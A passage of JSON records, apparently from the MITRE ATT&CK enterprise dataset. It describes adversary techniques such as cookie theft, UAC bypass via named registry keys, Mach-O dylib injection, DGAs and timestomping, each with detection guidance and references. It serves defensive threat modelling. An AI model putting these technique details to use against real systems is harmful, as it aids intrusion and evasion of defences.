Firmware","description":"Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.\n\nDisk check and forensic utilities (Citation: ITWorld Hard Disk Health Dec 2014) may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation. Also consider comparing components, including hashes of component firmware and behavior, against known good images.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["File monitoring","Host intrusion prevention systems","Anti-virus"],"x_mitre_permissions_required":["SYSTEM"],"x_mitre_system_requirements":["Ability to update component device firmware from the host operating system."],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847","created":"2020-01-24T14:21:52.750Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1546.006","url":"https://attack.mitre.org/techniques/T1546/006"},{"source_name":"Malware Persistence on OS X","url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017."},{"source_name":"Writing Bad Malware for OSX","url":"https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf","description":"Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time.(Citation: Malware Persistence on OS X)","modified":"2022-04-20T17:08:21.101Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"LC_LOAD_DYLIB Addition","x_mitre_detection":"Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Command: Command Execution","File: File Metadata","Process: Process Creation","File: File Modification","Module: Module Load"],"x_mitre_permissions_required":["User"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"Steal Web Session Cookie","description":"An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\n\nThere are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on [User Execution](https://attack.mitre.org/techniques/T1204) by tricking victims into running malicious JavaScript in their browser.(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)\n\nThere are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\n\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_contributors":["Microsoft Threat Intelligence Center (MSTIC)","Johann Rehberger","Menachem Goldstein"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for attempts to access files and repositories on a local system that are used to store browser session cookies. Monitor for attempts by programs to inject into or dump browser process memory.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Linux","macOS","Windows","SaaS","Office Suite"],"x_mitre_version":"1.4","x_mitre_data_sources":["Process: Process Access","File: File Access"],"type":"attack-pattern","id":"attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff","created":"2019-10-08T20:04:35.508Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1539","external_id":"T1539"},{"source_name":"Krebs Discord Bookmarks 2023","description":"Brian Krebs. (2023, May 30). Discord Admins Hacked by Malicious Bookmarks. Retrieved January 2, 2024.","url":"https://krebsonsecurity.com/2023/05/discord-admins-hacked-by-malicious-bookmarks/"},{"source_name":"Unit 42 Mac Crypto Cookies January 2019","description":"Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.","url":"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"},{"source_name":"Kaspersky TajMahal April 2019","description":"GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019.","url":"https://securelist.com/project-tajmahal/90240/"},{"source_name":"Github evilginx2","description":"Gretzky, Kuba. (2019, April 10). Retrieved October 8, 2019.","url":"https://github.com/kgretzky/evilginx2"},{"source_name":"GitHub Mauraena","description":"Orrù, M., Trotta, G.. (2019, September 11). Muraena. Retrieved October 14, 2019.","url":"https://github.com/muraenateam/muraena"},{"source_name":"Pass The Cookie","description":"Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.","url":"https://wunderwuzzi23.github.io/blog/passthecookie.html"},{"source_name":"Talos Roblox Scam 2023","description":"Tiago Pereira. (2023, November 2). Attackers use JavaScript URLs, API forms and more to scam users in popular online game “Roblox”. Retrieved January 2, 2024.","url":"https://blog.talosintelligence.com/roblox-scam-overview/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2024-10-15T16:26:03.731Z","name":"Container Orchestration Job","description":"Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)","Vishwas Manral, McAfee","Yossi Weizman, Azure Defender Research Team"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Containers"],"x_mitre_version":"1.3","x_mitre_data_sources":["File: File Creation","Container: Container Creation","Scheduled Job: Scheduled Job Creation"],"x_mitre_permissions_required":["User"],"x_mitre_remote_support":true,"type":"attack-pattern","id":"attack-pattern--1126cab1-c700-412f-a510-61f4937bb096","created":"2021-03-29T17:06:22.247Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1053/007","external_id":"T1053.007"},{"source_name":"Kubernetes CronJob","description":"The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved March 29, 2021.","url":"https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/"},{"source_name":"Kubernetes Jobs","description":"The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March 30, 2021.","url":"https://kubernetes.io/docs/concepts/workloads/controllers/job/"},{"source_name":"Threat Matrix for Kubernetes","description":"Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.","url":"https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:55:16.111Z","name":"Domain Generation Algorithms","description":"Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_contributors":["Ryan Benson, Exabeam","Barry Shteiman, Exabeam","Sylvain Gil, Exabeam"],"x_mitre_deprecated":false,"x_mitre_detection":"Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\n\nMachine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Network Traffic: Network Traffic Flow"],"type":"attack-pattern","id":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","created":"2020-03-10T17:44:59.787Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1568/002","external_id":"T1568.002"},{"source_name":"Elastic Predicting DGA","description":"Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019.","url":"https://arxiv.org/pdf/1611.00791.pdf"},{"source_name":"Talos CCleanup 2017","description":"Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.","url":"http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html"},{"source_name":"Pace University Detecting DGA May 2017","description":"Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019.","url":"http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf"},{"source_name":"FireEye POSHSPY April 2017","description":"Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"},{"source_name":"ESET Sednit 2017 Activity","description":"ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.","url":"https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/"},{"source_name":"Data Driven Security DGA","description":"Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.","url":"https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/"},{"source_name":"Akamai DGA Mitigation","description":"Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.","url":"https://medium.com/@yvyuz/a-death-match-of-domain-generation-algorithms-a5b5dbdc1c6e"},{"source_name":"Cisco Umbrella DGA","description":"Scarfo, A. (2016, October 10). Domain Generation Algorithms – Why so effective?. Retrieved February 18, 2019.","url":"https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/"},{"source_name":"Cybereason Dissecting DGAs","description":"Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.","url":"http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf"},{"source_name":"Unit 42 DGA Feb 2019","description":"Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019.","url":"https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e","type":"attack-pattern","created":"2021-08-04T20:54:03.066Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1036.007","url":"https://attack.mitre.org/techniques/T1036/007"},{"source_name":"PCMag DoubleExtension","url":"https://www.pcmag.com/encyclopedia/term/double-extension","description":"PCMag. (n.d.). Encyclopedia: double extension. Retrieved August 4, 2021."},{"source_name":"SOCPrime DoubleExtension","url":"https://socprime.com/blog/rule-of-the-week-possible-malicious-file-double-extension/","description":"Eugene Tkachenko. (2020, May 1). Rule of the Week: Possible Malicious File Double Extension. Retrieved July 27, 2021."},{"source_name":"Seqrite DoubleExtension","url":"https://www.seqrite.com/blog/how-to-avoid-dual-attack-and-vulnerable-files-with-double-extension/","description":"Seqrite. (n.d.). How to avoid dual attack and vulnerable files with double extension?. Retrieved July 27, 2021."}],"modified":"2021-10-14T21:09:59.588Z","name":"Double File Extension","description":"Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: File.txt.exe may render in some views as just File.txt). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension) \n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user’s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named Evil.txt.exe may display as Evil.txt to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)\n\nCommon file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor for files written to disk that contain two file extensions, particularly when the second is an executable.(Citation: Seqrite DoubleExtension)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Creation","File: File Metadata"]},{"modified":"2023-04-21T12:35:39.112Z","name":"Bypass User Account Control","description":"Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Stefan Kanthak","Casey Smith"],"x_mitre_deprecated":false,"x_mitre_detection":"There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command Registry key.(Citation: enigma0x3 Fileless UAC Bypass)\n\n* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe and [HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"2.1","x_mitre_data_sources":["Windows Registry: Windows Registry Key Modification","Command: Command Execution","Process: Process Creation","Process: Process Metadata"],"x_mitre_defense_bypassed":["Windows User Account Control"],"x_mitre_effective_permissions":["Administrator"],"x_mitre_permissions_required":["Administrator","User"],"type":"attack-pattern","id":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","created":"2020-01-30T14:24:34.977Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1548/002","external_id":"T1548.002"},{"source_name":"Davidson Windows","description":"Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.","url":"http://www.pretentiousname.com/misc/win7_uac_whitelist2.html"},{"source_name":"TechNet How UAC Works","description":"Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.","url":"https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works"},{"source_name":"SANS UAC Bypass","description":"Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.","url":"http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass"},{"source_name":"MSDN COM Elevation","description":"Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.","url":"https://msdn.microsoft.com/en-us/library/ms679687.aspx"},{"source_name":"enigma0x3 Fileless UAC Bypass","description":"Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.","url":"https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/"},{"source_name":"enigma0x3 sdclt app paths","description":"Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.","url":"https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/"},{"source_name":"enigma0x3 sdclt bypass","description":"Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.","url":"https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/"},{"source_name":"TechNet Inside UAC","description":"Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.","url":"https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx"},{"source_name":"Fortinet Fareit","description":"Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.","url":"https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware"},{"source_name":"Github UACMe","description":"UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.","url":"https://github.com/hfiref0x/UACME"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Romain Dumont, ESET"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a","type":"attack-pattern","created":"2017-05-31T21:31:12.675Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1099","url":"https://attack.mitre.org/techniques/T1099"},{"url":"http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html","description":"Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.","source_name":"WindowsIR Anti-Forensic Techniques"}],"modified":"2020-02-18T16:56:57.039Z","name":"Timestomp","description":"Adversaries may take actions to hide the deployment of new, or modification of existing files to obfuscate their activities. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Host forensic analysis"],"x_mitre_permissions_required":["User","Administrator","SYSTEM"],"x_mitre_is_subtechnique":false},{"modified":"2024-10-16T17:45:14.210Z","name":"SMS Pumping","description":"Adversaries may leverage messaging services for SMS pumping, which may impact system and/or hosted service availability.(Citation: Twilio SMS Pumping) SMS pumping is a type of telecommunications fraud whereby a threat actor first obtains a set of phone numbers from a telecommunications provider, then leverages a victim’s messaging infrastructure to send large amounts of SMS messages to numbers in that set. By generating SMS traffic to their phone number set, a threat actor may earn payments from the telecommunications provider.(Citation: Twilio SMS Pumping Fraud)\n\nThreat actors often use publicly available web forms, such as one-time password (OTP) or account verification fields, in order to generate SMS traffic. These fields may leverage services such as Twilio, AWS SNS, and Amazon Cognito in the background.(Citation: Twilio SMS Pumping)(Citation: AWS RE:Inforce Threat Detection 2024) In response to the large quantity of requests, SMS costs may increase and communication channels may become overwhelmed.(Citation: Twilio SMS Pumping)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["SaaS"],"x_mitre_version":"1.0","x_mitre_data_sources":["Application Log: Application Log Content"],"x_mitre_impact_type":["Availability"],"type":"attack-pattern","id":"attack-pattern--130d4494-b2d6-4040-bcea-6e59f05222fe","created":"2024-09-25T13:53:19.586Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1496/003","external_id":"T1496.003"},{"source_name":"AWS RE:Inforce Threat Detection 2024","description":"Ben Fletcher and Steve de Vera. (2024, June). New tactics and techniques for proactive threat detection. Retrieved September 25, 2024.","url":"https://reinforce.awsevents.com/content/dam/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf"},{"source_name":"Twilio SMS Pumping","description":"Twilio. (2024, April 10). What Is SMS Pumping Fraud and How to Stop It. Retrieved September 25, 2024.","url":"https://www.twilio.com/en-us/blog/sms-pumping-fraud-solutions"},{"source_name":"Twilio SMS Pumping Fraud","description":"Twilio. (n.d.). What is SMS Pumping Fraud?. Retrieved September 25, 2024.","url":"https://www.twilio.com/docs/glossary/what-is-sms-pumping-fraud"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc","type":"attack-pattern","created":"2021-03-17T15:28:10.689Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1016.001","url":"https://attack.mitre.org/techniques/T1016/001"}],"modified":"2021-03-25T17:03:26.632Z","name":"Internet Connection Discovery","description":"Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites.\n\nAdversaries may use the results and responses from these requests to determine 